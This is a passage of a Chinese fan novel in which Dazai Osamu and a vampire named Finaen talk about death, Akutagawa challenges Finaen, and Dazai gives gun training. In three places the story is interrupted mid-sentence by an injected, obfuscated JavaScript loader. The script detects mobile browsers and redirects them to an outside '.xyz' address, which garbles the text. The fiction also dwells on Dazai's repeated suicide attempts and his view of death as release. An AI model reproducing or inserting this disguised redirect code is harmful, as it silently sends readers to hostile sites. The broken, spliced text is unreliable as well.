他的声音很轻,带着一种罕见的、不加掩饰的迷茫和疲惫,不再是平日里那种浮于表面的轻佻或深沉的算计。 菲那恩愣住了。 他从未思考过这个问题。对于拥有漫长生命的血族而言,“活着”更像是一种本能的状态,而非需要追寻意义的命题。 “我……不知道。”菲那恩老实回答,赤红的眼眸里充满了困惑,“活着……就是活着。可以感受到阳光……虽然我不太喜欢,可以吃到好吃的食物……虽然我的食谱几乎只有血液,可以……遇到各种各样的人……”比如遇到你。 菲那恩的声音越来越小。 太宰治闻言,极其轻微地勾了一下嘴角,那弧度却泛着苦涩。 “阳光很刺眼,食物尝不出味道,遇到的人……大多也无趣又麻烦。”他慢悠悠地说着,目光依旧没有焦点,“这个世界就像一场无趣的戏剧,充满了庸俗的暴力、虚伪的爱意和徒劳的挣扎……” “而我,就像一个不小心被拉上台的、蹩脚的观众,看不懂剧情,也无法融入其中,只觉得……格格不入,吵闹又乏味。” 他停顿了一下,声音更轻了:“死亡……或许才是唯一的解脱,是清爽而充满活力的最终归宿。每一次沉入水底,感觉着意识远离,反而能获得片刻的宁静呢。” 菲那恩静静地听着,他无法完全理解太宰治话语里所有的哲学思辨和虚无主义,但他能清晰地感受到那字里行间透出的、几乎将人溺毙的巨大空洞和孤独。 他看着太宰治被河水浸透的、苍白的侧脸,忽然伸出手,用自己冰凉的指尖,轻轻碰了碰对方同样冰凉的脸颊。 这个动作让太宰治微微一怔,终于缓缓转过头,看向他。 “可是,”菲那恩看着他的眼睛,无比认真地说,“如果你不在了,我就找不到你了。” 他的词汇贫乏,描述得磕磕绊绊,但那份心意却毫无阴霾地传递了过来。 “你活着,我会觉得……这里,”他指了指自己心脏的位置,“比较舒服。如果你不在了,我会觉得这里,会……不舒服。” “所以,”菲那恩总结道,语气理所当然,“对我来说,你好好地这里,就是意义。” 黄昏最后的光线落在他沾着水珠的睫毛上,映在那双纯粹得不含一丝杂质的赤瞳里,仿佛点燃了两簇温暖的火苗。 太宰治彻底怔住了。 菲那恩的逻辑简单而直白,却像一颗投入死水的石子,让他空洞的眼眸微微波动了一下。 他看着菲那恩,看着那双眼睛里倒映出的、自己狼狈又茫然的影子。 “……真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347720|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……败给你了。”他的声音从湿漉漉的额发下传来,声音轻不可闻,“这种话……居然被一个连‘意义’是什么都不懂的吸血鬼说出来了……” 菲那恩歪了歪头,继续说道,试图理解:“你是因为觉得这个世界无趣,所以才加入港口Mafia的吗?因为这里……比较‘有趣’?”他想起了□□的混乱、血腥和无处不在的争斗。 太宰治沉默了片刻,似乎在思考该如何回答。 过了一会儿,他才缓缓开口,语气平淡得像在叙述别人的故事: “我加入这里,是因为这里足够‘真实’。” “真实?” “嗯。”太宰治的目光重新投向虚空,“至少这里的暴力是赤裸的,欲望是直白的,死亡是司空见惯的……比起外面那个用无数谎言编织起来的、虚伪的‘正常’世界,这里的黑暗反而更纯粹,更简单。” 他顿了顿,声音里带上了一丝极淡的自嘲:“而且……在这里,无论做什么,似乎都能找到合理的解释。 “杀人,或者救人,背叛,或者忠诚……都不过是‘组织’的需要,不需要自己去思考所谓的‘意义’,只需要服从,或者利用规则就好了……某种程度上,很轻松,不是吗?” 他并非为了正义或野心,而是因为这里的混沌与虚无,恰好与他内心的荒芜相匹配。 菲那恩努力消化着这些话。 他依然不能完全明白,但他捕捉到了关键词——“不需要思考意义”、“很轻松”。 他似懂非懂地看着太宰治,忽然问道:“那……现在呢?现在也觉得轻松吗?” 太宰治被问得愣了一下。 现在? 会笨拙地担心他、此刻正用那双清澈又固执的血眸盯着他的……麻烦精。 他看着菲那恩被河水打湿的、黏在脸颊上的粉色头发,看着对方那纯粹得不含一丝杂质的、带着担忧和困惑的眼神。 许久,太宰治才轻轻地、几乎不可闻地叹了口气,嘴角扯起一个极其疲惫又复杂的弧度: “啊……好像变得稍微……有点重了呢。” 这句话的含义模糊不清。 是负担变重了?还是其他什么东西变得有了分量? 菲那恩不太懂其中的深意,但他能感觉到,太宰治周身那种浓烈的、求死的意念似乎悄然褪去了一些,虽然空洞和迷茫依旧存在。 河畔的风吹过,带着凉意。 “走吧。”太宰治转过身,将依旧滴着水的沉重大衣裹紧,声音恢复了些往常的懒散,“再待下去,要感冒了。啊~难道这就是传说中的殉情未遂反受其苦吗?” 菲那恩看着他故作轻松的背影,虽然不太明白他最后那句话的意思,但还是安静地跟了上去。 夕阳将两人的影子在河堤上拉得很长。 或许太宰治依旧没有找到活着的“意义”。 但至少在这一刻,有人告诉他,他的存在本身,对另一个人而言,就是全部的意义。 这似乎……也不算太坏。 20.芥川的挑战 菲那恩依旧我行我素,自由度极高。 他有时在太宰治的办公室角落打盹,或者在太宰心情“好”的时候,被指挥去执行一些稀奇古怪、令人费解的任务,以及时不时就会接到去鹤见川捞太宰的电话。 菲那恩每一次目睹那场景,心头总会涌上难以言喻的焦灼。 他无法理解人类这种近乎病态、反复寻求自我终结的行为,却也从未像旁人那般视若无睹。 他不会阻止太宰做自己喜欢的事,那太宰也不能管他救不救他。 不过经过那天下午的对话,太宰治入水频率确实有所减少,危险度也没有那么高,但菲那恩每一次都会第一时间赶过去。 但万一呢? 万一……哪一次他迟了,或者没去,太宰就真的……成功了呢? 菲那恩也能清晰地感知到,太宰每一次投向深渊的纵身,那份赴死的决绝是真实的,绝非作伪的表演。 然而,在那片浓重的死意之下,总还顽强地蛰伏着一丝极其细微、近乎本能的求生欲。 对菲那恩而言,捕捉到这一丝微光,便已足够成为他一次次出手的理由。 唯独太宰治……是和其他人不一样的 他对他来说,足够特别。 就这样,太宰治日常自杀,菲那恩日常救他,日子归于一个诡异的平静。 然而,这份暂时的平静,被一个充满敌意和执念的身影打破了。 训练场冰冷的水泥地上,芥川龙之介如同一柄出鞘的利刃,散发着生人勿近的寒气。 他深灰色的眼眸死死锁定在对面那个穿着樱粉色和服、看起来精致易碎的身影上——菲那恩。 就是这个家伙……这个突然出现在太宰先生身边、甚至能得到那个冷酷无情的太宰先生特别关注! 芥川的胸腔里燃烧着名为嫉妒和不甘的火焰。 他付出了多少努力,忍受了多少痛苦,只为了获得太宰先生的一句认可!而这个家伙,凭什么?! “菲那恩·德·图拉尔!”芥川的声音冰冷刺骨,带着浓重的杀意,“在下,芥川龙之介,向你发起挑战!让在下看看,你有何资格站在太宰先生身边!” 菲那恩正百无聊赖地研究着训练场墙壁上的弹孔,闻言抬起头,血红的眼眸里闪过一丝困惑。 他叫芥川龙之介?唔……不认识。 太宰没有提过这个人…… 挑战?有什么资格……吗?那不行,唯一有资格的一定是他,他不可能将太宰让出去的。 他能感觉到对面那个黑衣少年身上散发出的、几乎化为实质的敌意,但是他根本没有把对方放在眼里。 对他而言,除了太宰治,其他人类都如同背景板,无法引起他丝毫兴趣。 “我没有兴趣和你打,打伤你了我会挨训的。”菲那恩蹙了蹙眉,粉色长发随着他摇头的动作轻轻晃动。 “由不得你!”芥川厉喝一声,周身黑红色的布料瞬间活化,化作狰狞的恶兽——“罗生门·颚!” 巨大的布质利爪撕裂空气,带着恐怖的威势,直扑菲那恩面门! 菲那恩瞳孔微缩。 好快! 但他血族的反应速度在这一刻展现出来。 他没有硬接,身体如同没有重量的羽毛,以人类几乎不可能做到的柔韧度和速度向后急退,险之又险地避开了这致命一击。 罗生门擦着他的衣角轰击在地面上,留下深深的裂痕。 芥川一击不中,攻势更加狂暴。 “罗生门·丛!”数道布刃如同荆棘丛林般从四面八方刺向菲那恩,封锁了他所有闪避的空间。 菲那恩的血眸中闪过一丝不易察觉的不耐。 他讨厌莫名其妙的人类带来的麻烦,更讨厌这种毫无缘由的、无礼的攻击。 明明大家都是同一阵营的,某种意义上的“家人”,为什么要对他有着如此的敌意…… 他不明白,然后越想越气。 面对密集的攻势,他也不再后退,眼眸比平时更红,嘴里低声念了一句古老的咒语。 嗡! 他的身影瞬间化作一片浓郁如血的绯红雾气,无视了物理上的布刃穿刺,如同液体般从罗生门攻击的缝隙中渗透而出,在芥川身后不远处重新凝聚成形。 芥川猛地转身,眼中惊怒交加:“躲躲藏藏!懦夫!” 菲那恩面无表情地看着他:“你是未被开化的野兽吗,听不懂我说我没兴趣跟你打吗。” “闭嘴!”芥川的执念被彻底点燃,罗生门在他狂怒的驱使下,形态更加多变,攻击更加刁钻狠辣,穿刺、缠绕、劈砍……攻势如同狂风暴雨。 菲那恩压抑着心中的不耐,依然没有发动攻击性秘术,完全依靠血族天生的速度、身体柔韧性在密集的攻击中闪转腾挪。 他时而狼狈地翻滚,时而以不可思议的角度扭曲身体避开要害,时而再次化作血雾规避。 然而,训练场上方不起眼的阴影里,一双鸢色的眼眸正饶有兴致地注视着下方的战斗。 太宰治不知何时已悄然到来,斜倚在通风管道旁的阴影中,如同一个隐身的观众。 他的目光扫过芥川狂暴的罗生门上,而是紧紧追随着菲那恩那毫无章法、全凭本能的闪避动作。 “啧……”太宰治无声地咂了下嘴,眼中闪过一丝了然。 “空有顶尖的速度和反应神经,动作却杂乱无章,破绽百出,重心不稳,发力点完全错误,对攻击的预判几乎为零,全靠非人的身体素质和那诡异的秘术硬撑……”太宰治在心中飞快地评价着。 他鸢色的眼眸微微眯起,“对付芥川这种直来直去的攻击都如此狼狈,如果遇到更狡猾或者范围更大的敌人……” 就在这时,芥川的攻势达到了顶峰! 他咆哮着,罗生门凝聚成一只巨大的、仿佛能吞噬一切的黑色兽首——“罗生门·狱门颚!” 恐怖的吸力传来,仿佛要将菲那恩连同周围的空间一起吞噬! 菲那恩终于忍不住心中的怒意。 没完没了!他讨厌这种如恶犬一般的纠缠!简直比吸血鬼猎人还要烦人!血红的眼眸深处,那瑰丽的红色如同熔岩般沸腾起来。 “够了!”菲那恩低喝一声,不再闪避。 他单膝跪地,双手猛地按向冰冷的水泥地面,口中吐出更加古老、更加冰冷的音节。 嗡——! 以他掌心为中心,一个巨大的、由暗红色能量构成的荆棘蔷薇图腾瞬间在地面展开。 无数由纯粹能量构成的、带着尖锐倒刺的暗红荆棘如同活物般疯狂生长、交织,它们并非仅仅防御,而是带着强烈的攻击性,如同狂怒的蛇群,主动迎向扑来的罗生门兽首。 轰隆——!!! 暗红荆棘与漆黑的罗生门兽首狠狠撞击在一起,能量剧烈震荡,发出刺耳的尖啸,狂暴的能量冲击波瞬间席卷了整个训练场。 芥川的罗生门兽首在充满侵蚀性和穿透力的荆棘面前,如同遇到克星般寸寸崩裂、湮灭。 他本人更是如遭重击,闷哼一声,被巨大的反震力狠狠抛飞出去,撞在远处的墙壁上,才狼狈地滑落下来,嘴角溢出一丝鲜血,难以置信地看着那如同魔神般矗立在荆棘丛中的粉色身影。 暗红色的荆棘缓缓收缩,最终消失在地面,菲那恩站起身,呼吸略显急促。 强行催动这种大范围攻击性秘术,对他而言消耗不小,他看也没看倒地的芥川,转身就想离开这里。 “啪啪啪……” 清脆、缓慢而带着独特韵律的掌声突兀地在空旷的训练场响起。 这声音如同冰冷的针,瞬间刺破了战斗后的死寂。 菲那恩的脚步顿住了,他血红的眼眸骤然收缩,猛地循声望去。 芥川挣扎着抬起头,灰眸中爆发出难以置信的光芒和一丝狂热的希冀——“太宰先生?!” 只见训练场上方不起眼的阴影处,太宰治如同鬼魅般,慢悠悠地从通风管道的阴影中踱步而出。 他黑大衣下摆随着步伐轻轻晃动,脸上挂着那副惯常的、令人心底发毛的笑容。 他一步一步走下台阶,皮鞋踩在冰冷的水泥地上,发出清晰的“嗒、嗒”声,每一步都像敲在两人紧绷的心弦上。 “真是精彩。”太宰治的声音带着一丝慵懒的、仿佛发自内心的赞叹,目光却精准地落在菲那恩身上,仿佛要将他看穿,“菲那恩君,你的蔷薇荆棘真是令人叹为观止呢。” 他话锋一转,语气里带上了一丝不易察觉的无奈,“动静是不是稍微大了点?维修账单可是要算在你头上的哦。” “太、太宰……”菲那恩被他看得极其不自在,身体微微绷紧了起来。 太宰在这里多久了?他看到了多少?那句“动静大”是责备还是……? 他还是出手把芥川龙之介打伤了,怎么办,他明明答应过不伤害港口mafia成员的…… 虽然不认识芥川龙之介,但是很明显就是港口mafia的人吧…… 他垂下脑袋,像犯了错被抓包的孩子一样,双手背在身后,指尖无意识地抠着和服的布料边缘,粉色的长发遮住了部分侧脸,目光盯着自己沾了点灰尘的足尖,小声嘟囔:“……是他先动手的,我、我也不是故意打伤他的。” 太宰治的目光终于转向挣扎着想要爬起来的芥川,那目光瞬间从带着一丝无奈的调侃,变成了纯粹的、不带任何温度的审视。 “芥川,”他的声音不高,却清晰地回荡在空旷的训练场,带着一种冰冷的、公事公办的疏离感,“看来你并没有理解‘挑战’的含义。无意义的挑衅,只会暴露你的愚蠢和冲动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351666|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 芥川的身体猛地一僵,剧烈的咳嗽让他无法立刻回应,灰眸中只剩下被冰冷现实浇灌的屈辱和痛苦。 他死死咬住下唇,尝到了铁锈般的血腥味,却倔强地不肯倒下。 他缓步走到芥川面前,居高临下地看着他狼狈的样子,语气冰冷刺骨,“连一个基本没有动用力量,体术还差的人都打不过,甚至被对方逼得用出了看家本领……这就是你所谓的‘证明资格’?” “太宰先生!在下……”芥川脸色惨白如纸,剧烈的咳嗽让他无法完整说话,眼中充满了屈辱、痛苦和不甘。 他挣扎着想辩解,却在太宰那冰冷的目光下哑口无言。 “闭嘴。”太宰治的声音没有丝毫起伏,却带着绝对的命令意味,“你的无能,吵到我的耳朵了。” 菲那恩吃惊地看了看太宰治,随即立马又低下头。 他以前怎么不知道……太宰,原来这么凶的吗…… 完蛋了…… 太宰治没有再看芥川,仿佛芥川的存在已经不值得他投入更多关注。 他重新将视线投向那个低着头的粉色脑袋,语气稍微缓和了一点:“菲那恩,消耗很大吗?脸色白得像纸一样。” 菲那恩闻言,背在身后的手指绞得更紧了些。 他确实有点累了,但……其实还好。 菲那恩垂着脑袋不看太宰治的眼睛,“对!我、我已经不行了,快要昏倒了。”所以这件事就这么过去了吧太宰。 太宰治走近几步,无视了旁边芥川的存在,直接对菲那恩说道:“那就跟我来吧,你需要休息,还有……” 他顿了顿,意有所指,“补充点能量。” 他指的是血液。 菲那恩猛地抬起头,血红的眼眸瞬间亮了起来,“真的?!” 太宰一点都不凶,刚刚果然是错觉! 他几乎是脱口而出,随即意识到自己反应过度,又赶紧低下头,小声补充,“……哦,好。” 太宰治看着他那瞬间变脸的样子,鸢色的眼眸深处掠过一丝极其细微的、连他自己都未曾察觉的无奈。 这家伙……真是让人头疼。 他转身,准备离开这个狼藉的场地。 “太宰先生!”芥川终于挣扎着开口,声音嘶哑破碎,带着最后一丝不甘和祈求,“在下……在下只是……” 太宰治的脚步甚至没有停顿,只是侧过头,用眼角的余光冷冷地扫了他一眼:“收拾干净这里,芥川,然后去医疗部。下次,管好你的罗生门,别让它再随便咬人了。” 命令简洁冰冷,没有多余的斥责,却比任何惩罚都更清晰。 说完,太宰治不再停留,黑色风衣划出一道利落的弧线,径直向训练场出口走去。 他没有回头,但声音清晰地传来,是对菲那恩说的:“还愣着干什么?跟上。” 菲那恩看了一眼跪坐在地上、失魂落魄、仿佛被抽空了所有力气的芥川,又看了看太宰治毫不留恋的背影。 他犹豫了一瞬,最终还是小跑着跟了上去,樱粉色的和服衣摆轻轻晃动,像只有点狼狈但立刻恢复精神的猫,紧紧缀在太宰治身后。 留下芥川龙之介独自一人,跪在冰冷的、布满裂痕的水泥地上,周围是罗生门留下的破碎布片和能量冲击的痕迹。 训练场空旷而寂静,只有他压抑的咳嗽和粗重的喘息声,以及那份被彻底无视、被否认的不甘。 去休息室的路上,太宰治率先开口。 “菲那恩,”太宰治的声音带着一种不容置疑的、仿佛为对方着想的意味,“作为港口Mafia的重要成员,尤其是我的助理,光靠你们血族秘术可不行哦。” 菲那恩发出一声困惑的鼻音,“嗯……?” “在横滨的夜晚行走,体术可不能差……” 他顿了顿,鸢色的眼眸中看不出什么情绪,语气却十分轻快地说道,“看来,需要给你安排一些‘额外’的课程了。” 菲那恩心中警铃大作:“……什么课程?” 他有种非常不好的预感。 太宰治笑眯眯地,仿佛在宣布一个天大的好消息:“首先,从明天开始,我会亲自教你基础的枪械使用。毕竟,有些时候,‘砰’的一声比那些秘术要实用得多,也更省力,对吧?” 他无视菲那恩瞬间垮下来的小脸和微微瞪大的红眸,继续说道:“然后至于体术嘛,至少……得学会该怎么打架吧。” 菲那恩看着太宰治那张笑眯眯的脸,心里其实挺认同太宰的的话。 在原本的世界就算了,力量充盈,在这里嘛……能省则省吧。 但是……但是训练体术什么的也太难了吧。 他整只吸血鬼都好像褪色了,默默地转过身,背对太宰,试图无意义地反抗。 果然就不是错觉吧。 ——太宰是大恶魔! 21.枪械训练 翌日,港口Mafia专属的地下训练场弥漫着硝烟与枪油混合的独特气味,冰冷的金属墙壁反射着惨白的灯光,更添几分肃杀。 菲那恩站在空旷的场地中央,显得有些格格不入,手里握着一把太宰治塞给他的标准□□,那冰冷的重量和陌生的触感让他微微蹙眉。 “首先,姿势。”太宰治的声音在空旷的训练场里显得格外清晰。 他走到菲那恩身后,没有直接触碰,只是用手虚虚比划了一下他的手臂和腰背线条。 “双脚分开,与肩同宽,重心微沉……对,就是这样,站稳是基础,握枪要实,但手腕别太僵。” 他的气息若有似无地拂过菲那恩的耳廓,带着惯有的、难以捉摸的笑意。 菲那恩努力模仿着,动作却带着一股未经训练的笨拙。 他试着举起枪瞄准远处的靶子,手臂却控制不住地微微发抖。 “太紧张了。”太宰治轻轻叹了口气,绕到他身侧,“放松,想象它是你手臂的延伸……眼睛、准星、目标,三点一线……” 他伸出手,指尖轻轻搭上菲那恩握枪的手背,调整着他过于紧绷的手指位置。 那指尖微凉,触碰短暂而带着明确的目的性——仅仅是教学。 然而,就在太宰治收回手的瞬间,菲那恩仿佛被那微凉的触感惊扰,又或是过于专注于“放松”的命令,他扣着扳机的手指无意识地一紧—— “砰!” 一声突兀的枪响撕裂了训练场的寂静,子弹完全偏离了靶心,甚至没擦到靶纸边缘,狠狠撞击在厚重的防弹墙上,留下一个清晰的凹痕和一个焦黑的印记。 菲那恩被后坐力震得手臂发麻,踉跄着后退了一步,粉色的头发都似乎惊得炸起了一小撮。 他下意识地看向太宰治,眼神里带着一丝闯祸后的无措。 太宰治倒是纹丝不动,连眉头都没皱一下,仿佛那声巨响只是背景音乐一般。 他看着菲那恩惊魂未定的样子,鸢色的眸子里带着点促狭:“看来你对‘放松’的理解有点偏差呢?这可是实弹哦,菲那恩。” 他刻意加重了“实弹”二字,提醒着刚才的危险。 菲那恩抿紧了唇,耳尖因为窘迫而微微泛红。 “……对不起。”他小声道,重新努力稳住身体,试图再次举枪。 “别急着道歉,新手走火很正常。”太宰治的语气轻松,眼神扫过菲那恩不稳的下盘和虚浮的手臂力量,“不过……让我好好看看你的基础吧。” 他话音未落,毫无征兆地欺身上前。 菲那恩甚至没看清他的动作,只觉得手腕传来一阵精准的酸麻,手指不由自主地松开。 那把沉重的手枪如同变魔术般,瞬间落入了太宰治摊开的掌心。 “!”菲那恩一惊,本能地想要夺回,身体前冲。 太宰治却像预判了他所有动作,脚下巧妙一绊,同时另一只手闪电般扣住菲那恩伸出的手腕,顺势一带一拧! 菲那恩只觉得一股不算巨大、却异常刁钻精准的力量瞬间破坏了他的重心平衡,整个人天旋地转,惊呼还未出口,后背已经重重撞上冰冷的金属墙壁。 太宰治的身体紧跟着压了上来,一只手牢牢攥着他被反剪到身后的手腕,另一只拿着枪的手则轻松地用手肘抵住了他的肩颈连接处,将他死死地禁锢在自己与墙壁之间。 整个过程快如电光火石,菲那恩连一点反抗的余地都没有。 “呃……”菲那恩闷哼一声,被压得几乎喘不过气。 他试着挣扎,却发现太宰治看似随意的压制点卡住了他所有发力的关节,加上对方身体重量的巧妙运用,让他根本使不上劲。 他引以为傲的血族力量,在这人类看似瘦弱的躯体压制下,竟像被无形的锁链捆住,完全无法挣脱——更可怕的是,他能清晰地感觉到,太宰治身上那股特殊的气息,如同一个黑洞,让他体内属于血族的力量瞬间沉寂、凝固。 ——人间失格。 太宰治是他的天敌,乃至他们这一支使用秘术的吸血鬼家族都是。 这个认知让他心底泛起一丝寒意。 太宰治的脸凑得很近,近到菲那恩能看清他眼底那抹玩味的笑意。 温热的气息喷洒在菲那恩的颈侧,声音低沉,带着一丝若有似无的喟叹,内容却冰冷而现实:“体术……比我想象的还要差劲呢,这可不是‘不太好’,是完全没基础啊。” 他微微侧头,目光扫过菲那恩因受制于人而微微泛红的脸颊和紧抿的唇瓣,“你这几百年的血族生涯,难道都用来……嗯,睡美容觉了吗?还是说,全靠秘术横行无忌?” 菲那恩被说中了,眼神飘忽,“血族是一种优雅的生物,身体素质高,会秘术的血族当然不需要去锻炼体术……” “在Mafia,活下来才是唯一的‘本事’。”太宰治的声音恢复了平常的语调,带着一丝冷意,冲散了刚才那点过近的暧昧。 他松开了压制,后退一步,同时将那把手枪随意地抛还给菲那恩。 菲那恩猝不及防地接住枪,差点又脱手,小声嘟囔:“我不死也是真本事的……” 太宰治闻言一挑眉,装作没听到,双手插回西装裤口袋,恢复了那副懒散疏离的模样。 “还好我不是你们那边的吸血鬼猎人,”他淡淡地补充了一句,目光扫过菲那恩紧握的枪,“不然你这样的,大概活不过新手任务的第一晚。” 这话说得轻描淡写,却像一盆冷水浇在菲那恩头上。 “欸——话说该怎么样才能杀死你们血族呢?”太宰治突然,好奇地问道,“这种事情能告诉我吗?” 菲那恩蹙了蹙眉,思考了一会儿,回答道:“好像还挺好杀的……只要彻底毁坏心脏便能杀死血族。” 太宰治伸出手指指了指菲那恩胸口,“那你呢?” 菲那恩摇了摇头,眼中恍惚了一瞬,“长老们曾经研究过我这个混血——我没有‘心脏’,甚至可以理解为我是一个长生不死、要吸食血液、自愈能力极强的人类。” 太宰治闻言,下意识看了看菲那恩的胸口,“没有……‘心脏’?” 菲那恩心情不佳,有些没好气道:“我当然有心脏!只是这个心脏受伤的话会非常痛之外,其他的就跟普通受伤没区别而已。” “因此——我算是真正意义上的不死族,所以长老们才说我是异类……是‘失败品’也是‘奇迹’。”菲那恩垂下眸,藏住眼中闪过的一丝莫名的情绪,那情绪混杂着对自身特殊性的困惑。 “哦?”太宰治的尾音微微上扬,带着浓厚的探究意味。 他非但没有被这近乎“无敌”的宣告震慑,那双鸢色的眸子反而像发现了什么极其有趣的谜题,闪烁着近乎兴奋的光芒。 他向前逼近一步,无形的压迫感再次笼罩菲那恩。 “真正意义上的不死?这说法真是……令人心痒难耐啊。”他的笑容加深,却毫无温度,“也就是说,无论我在这里对你做什么——拧断脖子、刺穿心脏、甚至把你切成碎片——只要时间足够,你都能恢复如初?” 菲那恩被他话语中冰冷的残酷和隐含的试验欲刺得一激灵,下意识地后退了半步,后背几乎再次贴上冰冷的金属墙壁。 他强作镇定地点头:“理论上是的,只是……” 他顿了顿,声音低了下去,“过程会很痛苦,而且需要消耗大量的能量和时间。” 沉默在冰冷的空气中蔓延了几秒,只有远处通风系统低沉的嗡鸣。 “不死……”太宰治低声重复着,声音轻得像叹息,却带着一种沉甸甸的份量。 他缓缓收回审视的目光,再次看向菲那恩的眼睛,那里面没有了之前的戏谑,只剩下一种近乎纯粹的、洞悉本质的深邃。 “这听起来不像奇迹,倒像是一个永恒的诅咒。” 这句话像一颗投入平静湖面的石子,在菲那恩心中激起了层层涟漪。 他猛地抬眼看向太宰治,粉色的瞳孔微微收缩,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356095|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇动了动,却最终没能发出声音。 那深藏的情绪——或许是孤独,或许是迷茫,或许是对这无尽生命的恐惧——在眼底一闪而逝,快得几乎让人无法捕捉。 太宰治将他的反应尽收眼底,却没有追问。 他仿佛只是陈述了一个显而易见的事实。 他轻轻呼出一口气,之前那令人窒息的压迫感如同潮水般退去,恢复了那副略带慵懒的姿态。 他转过身,不再看菲那恩,目光投向远处的靶位,仿佛刚才那番关于永恒与诅咒的对话从未发生。 “所以,”太宰治踱步到射击位前,随手拿起另一把手枪,动作行云流水,快得令人眼花缭乱——检查枪膛、装弹、上膛、据枪瞄准,一气呵成,每一个动作都精准、高效,带着一种身经百战的纯熟。 “要更好地完成任务,就不能再被人轻易缴械……”他侧过头,看向菲那恩,眼神里没有戏谑,只有一种近乎残酷的认真,“在这个时代,枪,可能会成为你最重要的伙伴。” “而体术……”他顿了顿,唇角勾起一个微妙的弧度,“……至少得练到不使用秘术的情况下,至少打起来不再乱七八糟吧。” 随后他说出了让菲那恩无法拒绝的理由,“你也不想被下一个[狄克拉之银]伤到吧?” 菲那恩一怔,摇了摇头,随即压下心中的翻涌,强迫自己集中精神,按照太宰治的指示,重新调整姿势。 时间在枯燥的基础练习中流逝。 太宰治的耐心似乎无穷无尽,或者说,他乐于欣赏菲那恩这份狼狈中透出的倔强。 “很好,姿势比刚才稳固多了。”太宰治的声音带着一丝难得的、几不可察的赞许,打破了长时间的沉默。 他踱步上前,在菲那恩身侧站定,用手指虚点了一下菲那恩的手腕关节,“这里,再下沉一点点,力量要贯通,不要卡在关节上。” 菲那恩依言调整。 “现在,”太宰治的声音贴近了一些,带着一种引导的意味,“眼睛锁定靶心,不要飘。呼吸……对,在吐气的末端,最平稳的那个点……”他的声音低沉而温柔,如同催眠或诱哄,“就是现在。” 菲那恩屏住呼吸,将全身的注意力都凝聚在指尖和远处的目标上。 他清晰地感受到扳机的行程,在太宰治话语落下的瞬间,他平稳地、缓缓地施加压力—— “砰!” 这一次,枪声不再突兀,带着一种沉着的决断,远处的靶纸上,偏离红心但稳稳扎入人形区域的弹孔清晰可见。 菲那恩放下微微发烫的枪,长长地舒了一口气,一种微弱的成就感伴随着手臂的酸痛升腾起来。 他下意识地侧头看向太宰治。 太宰治正看着他,脸上没什么特别的表情,但那双深不见底的鸢色眼眸里,似乎有极淡的微光掠过,如同平静深潭投入了一颗小石子。 他嘴角的弧度似乎比平时柔和了那么一丝丝。 “嗯……总算没浪费子弹。”太宰治的语气依旧平淡,但他没有移开目光,反而抬手,用指节随意地蹭掉了菲那恩脸颊上不知何时沾到的一□□碎屑。 那动作快得如同错觉,指尖的触感一触即分,却让菲那恩身体瞬间僵直,刚刚平复的心跳又漏了一拍。 太宰治仿佛什么都没发生,收回手插回口袋,转身走向弹药桌,声音恢复了惯常的慵懒和一丝不易察觉的、更深的东西:“休息五分钟,然后……我们试试移动靶?或者,你想挑战一下我的‘毕业测试’?” 他背对着菲那恩,拿起一枚子弹,在指尖灵活地翻转,金属在灯光下折射出冰冷的光泽。 菲那恩看着他的背影,又摸了摸刚才被触碰的脸颊,那里仿佛还残留着一丝若有似无的凉意和……说不清的异样感。 训练场的冰冷空气似乎变得有些粘稠,他甩甩头,努力将注意力重新集中在手中的枪上,忽略掉心底那丝微妙的悸动。 他知道,这场由太宰治主导的“教学”,远未结束。 22.“大餐” 经过几天的训练,菲那恩终于勉强通过了太宰的毕业测试。 □□也传疯了他打败了芥川龙之介,港口mafia众人暗暗认可了他的实力,对他莫名地更加尊敬了。 在菲那恩的强烈要求“奖励”下,太宰治思索片刻,最终还是答应菲那恩给他做一顿晚饭。 “我第一次见有人上赶着吃我做的食物……”太宰治如是说,表情十分微妙。 菲那恩疑惑地歪头,“太宰做的食物明明很好吃啊……” 太宰治微眯着眼看着菲那恩,突然笑了,“好啊,我今天一定给你做一顿大餐。” 菲那恩看着太宰治,突然有种莫名其妙的、不祥的预感,下意识移开了视线。 太宰治转身进厨房后,菲那恩就瘫在沙发上,像一尊被抽走了骨头的精致人偶。 他脸色比平时更显苍白,粉色的长发凌乱地铺散在深色沙发垫上,那双总是璀璨如红宝石的眼眸此刻失焦地望着天花板,灵魂仿佛已经飘出了躯壳。 就在这时,“嗡嗡嗡——”的震动声突兀响起。 “唔……”他突然发出一声意义不明的呜咽,猛地从沙发里挺尸般坐了起来。 声音来源是茶几上太宰治那部黑色手机,屏幕亮起,不断闪烁着陌生的图标和文字提示。 菲那恩的注意力瞬间被吸引。 